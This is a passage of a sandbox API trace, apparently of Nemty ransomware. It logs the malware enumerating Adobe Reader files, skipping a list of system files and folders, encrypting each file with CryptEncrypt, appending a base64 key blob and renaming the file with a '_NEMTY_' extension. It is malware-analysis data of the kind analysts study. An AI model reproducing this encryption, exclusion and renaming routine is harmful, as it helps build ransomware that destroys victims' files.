lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34a8ead0, dwHighDateTime=0x1d561e8)) [0216.463] GetLastError () returned 0x0 [0216.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.463] GetLastError () returned 0x0 [0216.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.464] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.464] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.464] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.464] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="5fcBeYHGomvVcjS6BCyBzhJRdRtyABXjwX8PZvRXWyTCDLupZ6PdJv74DmXFNVEM\r\nz7LA5eIxPc3tCd33BQeoMz4eco7PO6ydK7OrB3IWeZj9dBv2TcC0XVggZ9278eSV\r\nfYqLH7u06lJ2mATX2yLbU2pu0jiZE68Zwu6Hmv8owJSnwxYC6MtTCS2x+pcNUHvJ\r\nV7C3ep1FFPV3u8pU9GI3x00bCQtWYnfYRZYhyQXnQob2Llt9Wg6i84wwx5CKxty1\r\ndvZv0PrNj542JEPrF+imQkA3HOrIjjXIH0GiiW3Z4WVWH2o4dhaXzNtOP6CaathS\r\nEvXLIxMDNP8MgH96iq9ywg==\r\n", pcchString=0x653e5dc) returned 1 [0216.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.464] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29320) returned 1 [0216.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7280) returned 0x6352c48 [0216.465] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.465] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7280, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7280, lpOverlapped=0x0) returned 1 [0216.468] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.468] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7280, lpOverlapped=0x0) returned 1 [0216.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.469] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7288 [0216.469] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.469] CloseHandle (hObject=0x2e8) returned 1 [0216.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.469] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.469] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt._nemty_kgobjgd_")) returned 1 [0216.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.470] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7288, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.tr_TR.txt", cAlternateFileName="DIF209~1.TXT")) returned 1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2=".") returned 1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="..") returned 1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="...") returned 1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="windows") returned -1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="rsa") returned -1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="NTDETECT.COM") returned -1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="ntldr") returned -1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="MSDOS.SYS") returned -1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="IO.SYS") returned -1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="boot.ini") returned 1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="boot.ini") returned 1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="ntuser.dat") returned -1 [0216.470] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="desktop.ini") returned 1 [0216.471] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="CONFIG.SYS") returned 1 [0216.471] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="RECYCLER") returned -1 [0216.471] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.471] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="bootmgr") returned 1 [0216.471] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="programdata") returned -1 [0216.471] lstrcmpiW (lpString1="DisplayLanguageNames.tr_TR.txt", lpString2="appdata") returned 1 [0216.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr_TR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr_TR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.tr_TR.txt", lpUsedDefaultChar=0x0) returned 30 [0216.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr_TR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr_TR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.tr_TR.txt", lpUsedDefaultChar=0x0) returned 30 [0216.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr_TR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr_TR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.tr_TR.txt", lpUsedDefaultChar=0x0) returned 30 [0216.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr_TR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr_TR.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.tr_TR.txt", lpUsedDefaultChar=0x0) returned 30 [0216.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.471] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.471] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.471] Sleep (dwMilliseconds=0x5) [0216.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34ab4c30, dwHighDateTime=0x1d561e8)) [0216.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34ab4c30, dwHighDateTime=0x1d561e8)) [0216.479] GetLastError () returned 0x0 [0216.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.479] GetLastError () returned 0x0 [0216.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.479] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.479] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.479] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.480] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="CsXna29lzGuiPH6TQljhWil7jsYCwRQAIKo+90jKbBRgGXMVSKsHSzaS//fZtE0W\r\n32BDkMne7va06CUwGQvJlab+kFd4tukvdm493VEnhOWsJE9qFoMufc9lKmzGRxwU\r\nUXwk2SxDgBiKF1W7K7EbniMOvrLWihzJGhysjvvC3XALFCUSkqc+zoXIhhcpeVRP\r\nC/Q3fs7xJzUYRQWX8i+r4D0qY9z7ZIZKn+m0t6CeEJN+aPFdC5oBXWrjavQ+ju1M\r\n36+LbSc0NvEP2qTAGbqiajY2enIOcM014Lp5OhFtOew7h97vAH1a6sW4OkiUD/Q1\r\nf9gXa3o4oCBIG2AoCJjHwA==\r\n", pcchString=0x653e5dc) returned 1 [0216.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.480] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.480] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29320) returned 1 [0216.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7280) returned 0x6352c48 [0216.480] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.480] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7280, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7280, lpOverlapped=0x0) returned 1 [0216.484] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.484] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7280, lpOverlapped=0x0) returned 1 [0216.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.484] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7288 [0216.484] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.484] CloseHandle (hObject=0x2e8) returned 1 [0216.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.484] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt._nemty_kgobjgd_")) returned 1 [0216.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.485] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x724e, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.uk.txt", cAlternateFileName="DI4480~1.TXT")) returned 1 [0216.485] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2=".") returned 1 [0216.485] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="..") returned 1 [0216.485] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="...") returned 1 [0216.485] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="windows") returned -1 [0216.485] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.485] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="rsa") returned -1 [0216.485] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="NTDETECT.COM") returned -1 [0216.485] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="ntldr") returned -1 [0216.485] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="MSDOS.SYS") returned -1 [0216.485] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="IO.SYS") returned -1 [0216.485] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="boot.ini") returned 1 [0216.485] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="boot.ini") returned 1 [0216.486] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.486] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="ntuser.dat") returned -1 [0216.486] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="desktop.ini") returned 1 [0216.486] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="CONFIG.SYS") returned 1 [0216.486] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="RECYCLER") returned -1 [0216.486] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.486] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="bootmgr") returned 1 [0216.486] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="programdata") returned -1 [0216.486] lstrcmpiW (lpString1="DisplayLanguageNames.uk.txt", lpString2="appdata") returned 1 [0216.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.uk.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.486] RtlAllocateHeap (HeapHandle=0x4f90000, 